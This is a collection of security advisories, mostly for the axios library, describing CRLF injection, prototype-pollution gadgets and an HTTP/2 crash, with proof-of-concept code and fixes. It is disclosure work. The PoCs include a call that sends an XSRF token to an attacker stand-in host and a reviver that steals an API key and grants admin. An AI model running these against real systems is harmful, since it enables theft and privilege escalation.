Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
Summary
The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
Details
In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:
``
if (isStringValue) {
value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
// value.type is NOT sanitized for CRLF sequences
headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF};
}
`
Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.
Attack chain:
1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
4. The downstream server receives a multipart body containing injected per-part headers
5. The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration.
Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.
PoC
Prerequisites: Node.js 18+, axios (tested on 1.14.0)
`
const http = require('http');
const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => { body += chunk.toString(); });
req.on('end', () => {
receivedBody = body;
res.writeHead(200);
res.end('ok');
});
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
class SpecFormData {
constructor() {
this._entries = [];
this[Symbol.toStringTag] = 'FormData';
}
append(name, value) { this._entries.push([name, value]); }
[Symbol.iterator]() { return this._entries[Symbol.iterator](); }
entries() { return this._entries[Symbol.iterator](); }
}
const fd = new SpecFormData();
fd.append('photo', {
type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
size: 16,
name: 'photo.jpg',
[Symbol.asyncIterator]: async function*() {
yield Buffer.from('MALICIOUS PAYLOAD');
}
});
await axios.post(http://127.0.0.1:${port}/upload, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
console.log('Received body:\n' + receivedBody);
} else {
console.log('[NOT_VULNERABLE]');
}
server.close();
});
`
Steps to reproduce:
1. npm install axios
2. Save the above as poc_axios_crlf.js
3. Run node poc_axios_crlf.js
4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path.
Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
Impact
Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.
Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.
axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
Suggested fix
In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.
`
const safeType = (value.type || 'application/octet-stream')
.replace(/[\r\n]/g, '');
headers += Content-Type: ${safeType}${CRLF};
``
Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`
Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because:
1. No constraints — the reviver can return any value (no "must return true" requirement)
2. Selective modification — individual JSON keys can be changed while others remain untouched
3. Invisible — the response structure and most values look completely normal
4. Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured |
| Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) |
|---|---|---|---|---|
| PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver |
| Fixed by 1.15.0? | Yes | No | No | No |
| Constraints | N/A (fixed) | Must return true | None | None |
| Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification |
| Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible |
| Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair |
| Validated? | N/A | assertOptions validates | Not validated | Not validated |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
``
Object.prototype.parseReviver = function(key, value) { / malicious / }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
`
Why parseReviver Bypasses ALL Existing Protections
1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
`javascript
transformResponse: [
function transformResponse(data) {
// ... transitional checks ...
if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
// ...
try {
return JSON.parse(data, this.parseReviver);
// ^^^^^^^^^^^^^^^^^
// this = config
// config.parseReviver → prototype chain → attacker's function
} catch (e) {
// ...
}
}
return data;
},
],
`
Proof of Concept
`javascript
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(http://127.0.0.1:${port}/api/me);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(http://127.0.0.1:${port}/api/me);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
`
Verified PoC Output
`
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
`
Impact Analysis
1. Authorization / Privilege Escalation
`javascript
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
`
2. Financial Manipulation
`javascript
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
`
3. Security Control Bypass
`javascript
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
`
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
`javascript
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
`
Fix 2: Use null-prototype config object
`javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);
`
Fix 3: Validate parseReviver type and source
`javascript
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
`
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true |
| axios_30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception |
| axios_31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
1. Different polluted properties: Each targets a different Object.prototype key.
2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
CWE-1321: Prototype Pollution
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
MDN: JSON.parse reviver
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios HTTP/2 Session Cleanup State Corruption Vulnerability
Summary
Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled.
Details
The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array.
Vulnerable Code:
``javascript
while (i--) {
if (entries[i][0] === session) {
entries.splice(i, 1);
if (len === 1) {
delete this.sessions[authority];
return;
}
}
}
`
Root Cause:
After calling entries.splice(i, 1) to remove a session, the original code only returned early if len === 1. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices.
Fixed Code:
`javascript
while (i--) {
if (entries[i][0] === session) {
if (len === 1) {
delete this.sessions[authority];
} else {
entries.splice(i, 1);
}
return;
}
}
`
The fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability.
Affected Component:
lib/adapters/http.js` - Http2Sessions class, session cleanup in connection close handler
PoC
1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client
2. Establish multiple concurrent HTTP/2 sessions with the axios client
3. Close all sessions simultaneously with precise timing
4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently
5. This causes the client to access invalid memory locations, resulting in a process crash
Prerequisites:
Client must use axios with HTTP/2 enabled
Client must connect to attacker-controlled HTTP/2 server
Multiple concurrent HTTP/2 sessions must be established
Server must close all sessions simultaneously with precise timing
Impact
Who is impacted:
Applications using axios with HTTP/2 enabled
Applications connecting to untrusted or attacker-controlled HTTP/2 servers
Node.js applications using axios for HTTP/2 requests
Impact Details:
Denial of Service: Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously
Availability Impact: Complete loss of availability for the client process through crash (though service may auto-restart)
Scope: Impact is limited to the single client process making the requests; does not escape to affect other components or systems
No Confidentiality or Integrity Impact: Vulnerability only causes process crash, no information disclosure or data modification
CVSS Score: 5.9 (Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE Classifications:
CWE-400: Uncontrolled Resource Consumption
CWE-662: Improper Synchronization
React Router has CSRF issue in Action/Server Action Request Processing
React Router (or Remix v2) is vulnerable to CSRF attacks on document POST requests to UI routes when using server-side route action handlers in Framework Mode, or when using React Server Actions in the new unstable RSC modes.
> [!NOTE]
> This does not impact applications that use Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router has unexpected external redirect via untrusted paths
An attacker-supplied path can be crafted so that when a React Router application navigates to it via navigate(), <Link>, or redirect(), the app performs a navigation/redirect to an external URL. This is only an issue if developers pass untrusted content into navigation paths in their application code.
axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions
Summary
axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values:
1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.
2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request.
Affected Properties
| Polluted slot | Effect |
|---|---|
| Object.prototype.common | injects headers on every method |
| Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method |
| Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 |
| Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 |
Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built.
Proof of Concept
``javascript
const axios = require('axios');
// Finding A - header injection
Object.prototype.common = { 'X-Poisoned': 'yes' };
await axios.get('http://api.example.com/users');
// Wire request carries X-Poisoned: yes.
// Finding B - crash DoS
Object.prototype.get = { something: 'anything' };
await axios.get('http://api.example.com/users');
// TypeError: Getter must be a function: #<Object>
// at Function.defineProperty (<anonymous>)
// at mergeConfig (lib/core/mergeConfig.js:26:10)
`
Impact
Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body.
CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body.
Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD.
Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure.
Attack Flow
`mermaid
flowchart TD
ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash <= 4.17.10 _.merge / CVE-2018-16487)<br/>axios <= 1.15.2"]
ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"]
ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"]
CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"]
PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"]
PA1 --> SA1["DoS<br/>304 Not Modified empty"]
PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"]
PA2 --> SA2["DoS<br/>connection hang"]
PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"]
PA3 --> SA3["DoS<br/>400 Bad Request"]
CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"]
%% Styles
style ROOT fill:#f87171,stroke:#991b1b,color:#fff
style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff
style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff
style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b
style PA1 fill:#fbbf24,stroke:#92400e,color:#000
style PA2 fill:#fbbf24,stroke:#92400e,color:#000
style PA3 fill:#fbbf24,stroke:#92400e,color:#000
style SA1 fill:#ef4444,stroke:#991b1b,color:#fff
style SA2 fill:#ef4444,stroke:#991b1b,color:#fff
style SA3 fill:#ef4444,stroke:#991b1b,color:#fff
style SB1 fill:#ef4444,stroke:#991b1b,color:#fff
`
Root Cause
Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)).
Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.
Suggested Fix
Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32.
Resources
CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10`
CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
``javascript
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
`
Designed behavior:
true → always send token (explicit cross-origin opt-in)
false → never send token
undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []):
All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
`javascript
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
`
Verified PoC Output
`
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
`
Impact Analysis
XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP
Limitations:
Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
`javascript
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
``
Resources
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy
Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
``javascript
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
if (prop in config2) { // ← in traverses prototype chain!
return getMergedValue(a, b);
} else if (prop in config1) {
return getMergedValue(undefined, a);
}
}
// mergeConfig.js:94
const mergeMap = {
// ... all others use defaultToConfig2 ...
validateStatus: mergeDirectKeys, // ← ONLY property using this strategy
};
`
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
`javascript
Object.prototype.validateStatus = () => true;
`
2. The Gadget Trigger (Safe Code)
`javascript
// Application checks authentication via HTTP status codes
try {
const response = await axios.get('https://api.internal/admin/users');
// Developer expects: 401 → catch block → redirect to login
// Reality: 401 → treated as success → displays admin data
processAdminData(response.data); // Executes with 401 response body!
} catch (error) {
redirectToLogin(); // NEVER REACHED for 401/403/500
}
`
3. The Execution
`javascript
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true
